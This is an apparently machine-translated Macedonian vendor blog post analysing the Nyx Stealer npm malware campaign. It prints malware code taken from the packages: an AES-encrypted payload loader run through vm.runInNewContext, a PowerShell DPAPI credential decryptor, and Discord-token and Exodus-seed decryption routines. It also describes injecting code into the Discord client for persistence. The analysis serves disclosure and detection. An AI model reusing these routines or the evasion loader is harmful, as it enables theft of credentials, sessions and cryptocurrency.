npm Infostealer

Ново откритие на крадецот на информации од npm: Крадецот на информации од Nyx ги киднапира сесиите на Discord

TL; ДР

Тимот за истражување на безбедноста на Xygeni идентификуваше софистицирана кампања за кражба на информации од npm, доставена преку два злонамерни пакети: консолелофи selfbot-lofy.

Најновата верзија (consolelofy@1.3.0) вградува 216KB AES-енкриптиран товар кој се дешифрира за време на извршување и се извршува преку vm.runInNewContext()Бидејќи злонамерната логика е целосно криптирана, статичките скенери што се потпираат на инспекција на низи не можат да го набљудуваат нејзиното однесување сè до времето на извршување.

Откако ќе се дешифрира, товарот, внатрешно брендиран Никс Стилер, цели:

  • Токени за автентикација на Discord
  • 50+ продавници за акредитиви за прелистувачи
  • Над 90 екстензии за криптовалути за паричник
  • Сесии на Roblox, Instagram, Spotify, Steam, Telegram и TikTok
  • Упорност на клиентот на десктопот на Discord

Сите 20 верзии на двата пакета беа пријавени и потврдени како малициозни.

Технички преглед на овој npm Infostealer

За разлика од традиционалниот малициозен софтвер за време на инсталација, оваа кампања се потпира на траење модел на дешифрирање.

Има:

  • Без злонамерни preinstall or postinstall hooks
  • Нема очигледни мрежни повици за време на инсталацијата
  • Нема логика за собирање акредитиви со обичен текст

Товарот се активира кога модулот е импортиран. Целото злонамерно тело е криптирано и се материјализира во меморијата само за време на извршување.

Овој дизајн конкретно избегнува откривање за време на инсталацијата на пакетот.

Како всушност функционира овој крадец на информации од npm

Пред да анализираме што краде Nyx Stealer, треба да разбереме како се извршува.

Злонамерната логика во овој npm крадец на информации следи конзистентен модел:

Мал вчитувач дешифрира голем шифриран товар и го извршува динамички во контекст на Node.js виртуелна машина.

Овој дизајн е намерен. Напаѓачот не ја крие функционалноста само зад замаглување, туку е целосно отстранување на малициозниот код од статичка видливост.

Модел за извршување на високо ниво

На високо ниво, обвивката прави четири работи:

  • Изведува AES клуч од хардкодирана лозинка користејќи SHA-256
  • Дешифрира голем хексадецимално кодиран шифриран текст користејќи AES-256-CBC
  • Го извршува дешифрираниот JavaScript користејќи vm.runInNewContext()
  • Обезбедува песочник кој сè уште ги изложува моќните примитиви за време на извршување

Резиме на основната техника

Компонента Конфигурација / Вредност
Алгоритам AES-256-CBC
Изведување на клучот SHA-256 (лозинка)
Вектор за иницијализација (IV) 16 бајти од 0x00
Извршување vm.runInNewContext(декриптирано, песочник)

Критично е што песочната кутија поминува низ:

  • require
  • process
  • Buffer
  • тајмери
  • извоз на модули

Ова значи дека дешифрираниот товар ја задржува целосната способност за:

  • Процеси на создавање
  • Читање и пишување датотеки
  • Направете мрежни повици
  • Измени локални апликации

Ова не е ограничена виртуелна машина. Тоа е виртуелна машина што се користи како трамболина за извршување.

Шема за криптирање при извршување (механизам за извршување на јадрото)

Натоварувачот е мал.
Злонамерното тело не е.

Подолу е прикажана шемата за извршување што се наоѓа во пакетот:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Зошто ова не е важно

Дешифрираниот товар:

  • Не не постојат во обичен текст во рамките на npm пакетот
  • Е невидлив за едноставно grep или статичко скенирање на низи
  • Се материјализира во меморијата само за време на извршување
  • Се извршува со целосни можности за извршување на Node

Оваа комбинација за извршување на AES + VM е силен индикатор за однесувањето на крадец на информации од npm кој се обидува да избегне статичка инспекција.

Со други зборови:

Ако го скенирате дрвото со изворни податоци за пакетите, нема да видите крадец.
Гледаш дешифратор.

Што се случува по декрипцијата

Откако ќе се изврши, Nyx Stealer лансира паралелни бранови за собирање податоци.

Бран 1: Екстракција на акредитиви на прелистувач

Малициозен софтвер:

  • Презема време на извршување на Python од NuGet CDN
  • Инсталира криптографски библиотеки
  • Екстракти од продавници за акредитиви базирани на хром
  • Дешифрира тајни заштитени со DPAPI

Наместо да компајлира нативни поврзувања, го користи PowerShell за директно повикување на Windows DPAPI.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Овој пристап:

  • Избегнува артефакти од компилација
  • Користи матични крипто API-ја на Windows
  • Се вклопува во административните алатки

Станува збор за декрипција на акредитиви на ниво на оперативен систем, а не за стружење.

Бран 2: Дешифрирање на токени на Discord

Крадецот е свесен за протоколот. Го разбира шифрираниот формат на токен на Discord.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Оперативен тек:

  • Извлечете го главниот клуч од Discord's Local State
  • Дешифрирај го главниот клуч преку DPAPI
  • Дешифрирај AES-GCM токени-блобови
  • Валидирајте токени наспроти Discord API
  • Збогатете со Нитро, значки, информации за наплата

Ова не е генеричко фрлање на акредитиви. Тоа е киднапирање на сесија свесна за протоколот.

Бран 3: Таргетирање на криптовалутен паричник

Крадецот на информации од npm наведува:

  • 90+ екстензии за паричник на прелистувач
  • 27 десктоп паричници
  • Патеки за ладен паричник
  • Датотеки за семе од Exodus

Пример за обид за декрипција на семе:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Доколку е успешно, компромитирањето на паричникот е моментално и неповратно.

Ова го претставува векторот за монетизација со највисока вредност на кампањата.

Упорност преку Discord Desktop Injection

Откако ќе ги собере акредитивите, Nyx Stealer се обидува да ја упори со модифицирање на локалното Раздор клиентот.

цел:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Оперативна низа

Крадецот на информации ги извршува следниве чекори:

  • Ги прекинува извршуваните процеси на Discord
  • Лоцира инсталирани варијанти на Discord (Stable, Canary, PTB)
  • Презапишува discord_desktop_core/index.js
  • Вбризгува логика на веб-куки контролирана од напаѓач
  • Рестартира Discord

Ова осигурува дека идните сесии на Discord автоматски ќе протекуваат нови токени за автентикација.

Важно е да се напомене дека оваа перзистентност не се потпира на закажани задачи или модификации на регистарот. Таа користи модификација на кодот на ниво на апликација, што е поневидлив пристап.

Дури и ако злонамерниот npm пакет подоцна се отстрани, клиентот на Discord останува компромитиран.

Техничка споредба: Легитимен Selfbot наспроти npm Infostealer

Компонента Легитимна библиотека Крадец на информации од Nyx npm
Енкрипција Никој Целосно AES-енкриптирано оптоварување
Извршна виртуелна машина Не се потребни vm.runInNewContext извршување
Пристап до акредитиви Само API за Discord Прелистувач, паричници, DPAPI
Надворешни преземања Не Извршување на Python преку NuGet
Упорност Не Инјекција на клиентот на Discord
монетизација Автоматизација на бот Препродажба на акредитиви

Само слојот за енкрипција веќе ја одделува оваа кампања од типичен fork со отворен код.

Легитимен Discord selfbot нема причина да ја криптира целата своја база на кодови, да го користи PowerShell за пристап до DPAPI, да презема надворешни извршувања или да ги менува внатрешните делови на десктоп апликациите. Кога тие можности се појавуваат во зависност која тврди дека ги автоматизира интеракциите со Discord, архитектонската несовпаѓање станува невозможно да се игнорира.

Од гледна точка на истрагата, овој npm крадец на информации остава траги низ повеќе слоеви. Сепак, најсигурните индикатори не се хардкодирани URL-адреси или специфични патеки на датотеки, бидејќи тие можат да се менуваат помеѓу верзиите. Наместо тоа, трајните сигнали се структурни.

На ниво на пакет, најсилното црвено знаме е комбинацијата од голем шифриран товар и обвивка за декрипција за време на извршување што веднаш се извршува преку vm.runInNewContext()Иако самото енкрипција не е по природа злонамерно, користењето на AES декрипција проследено со динамичко извршување на виртуелна машина во пакетот за алатки на Discord е многу аномално.

На ниво на домаќин, сомнителните шеми вклучуваат неочекувана активност на декрипција на DPAPI, појавување на процеси од контекст на зависност од Node.js и модификација на локални датотеки на апликации кои никогаш не треба да се менуваат од библиотеки од трети страни. Слично на тоа, на мрежниот слој, излезната комуникација во стил на webhook иницирана од зависност од развој претставува уште една значајна аномалија.

Со други зборови, површината за детекција не е единствен индикатор за компромитирање. Корелацијата на енкрипцијата, извршувањето во време на извршување, пристапот до акредитиви и однесувањето при перзистенција е она што ја открива заканата.

Детекција и ублажување со Xygeni

npm Infostealer

Овој крадец на информации од npm беше идентификуван од Рано предупредување за малициозен софтвер (MEW) на Xygeni преку слоевита корелација на однесувањето, наместо едноставно совпаѓање на потписите.

Наместо да бара познати злонамерни низи, MEW ги проценува структурните аномалии низ целото дрво на изворниот код. Во овој случај, откривањето произлезе од конвергенцијата на неколку сигнали: вградена рутина за декрипција на AES во точката на влез на модулот, непосредно извршување во контекст на виртуелна машина и јасно несовпаѓање помеѓу можностите и намерите.

Важно е да се напомене дека ниту еден од овие сигнали сам по себе не докажува злонамерна намера. Меѓутоа, кога се анализираат заедно, тие откриваат обид за прикривање на однесувањето при извршување. Овој повеќеслоен пристап значително ги намалува лажните позитиви, а воедно идентификува и закани во синџирот на снабдување со висока доверба.

Понатаму, овој случај илустрира зошто само проверката за време на инсталацијата е недоволна. Злонамерната логика не се наоѓа во скриптите на животниот циклус. Таа се активира само откако модулот ќе се вчита и станува видлива само откако ќе се дешифрира во меморијата. Затоа, ефикасната одбрана бара анализа свесна за енкрипција, препознавање на обрасци на однесување и континуирано следење на зависностите надвор од настаните на инсталацијата.

Отстранувањето на регистарот е реактивно. Анализата за време на извршување е превентивна.

Зошто е важен овој крадец на информации од npm

Nyx Stealer претставува структурна еволуција кај малициозниот софтвер базиран на npm.

Историски гледано, многу злонамерни пакети се потпирале на видливи скрипти за време на инсталација или очигледни крајни точки за отстранување на акредитиви. Спротивно на тоа, оваа кампања го криптира својот товар, го одложува извршувањето на времето на извршување, користи легитимни API-ја на оперативниот систем и воспоставува перзистентност во доверливи апликации.

Следствено, напаѓачот не треба самиот да ја експлоатира npm инфраструктурата. Наместо тоа, нападот успева бидејќи инсталацијата на зависности подразбира доверба. Програмерите претпоставуваат дека увозот на библиотека е безбедна операција, особено кога таа се претставува како веродостојна fork на популарна алатка.

Како што екосистемите продолжуваат да растат и да се размножуваат размножување на разграничувањата, таа имплицитна граница на доверба станува сè попривлечна површина за напад. Затоа, одбраната од модерните крадци на информации од npm бара препознавање на архитектонски обрасци, наместо барање статички низи.

На крајот на краиштата, оваа кампања зајакнува една критична лекција за software supply chain securityНајопасните закани не се оние што на прв поглед изгледаат злонамерни, туку оние што изгледаат структурно легитимни сè додека времето на извршување не го открие нивното вистинско однесување.

алатки-за-анализа-на-композиции-на-sca-алатки
Дајте приоритет, санирајте и обезбедете ги вашите софтверски ризици
Добијте ја вашата бесплатна сметка.
Не е потребна кредитна картичка.

Обезбедете го вашиот развој и испорака на софтвер

со Xygeni Product Suite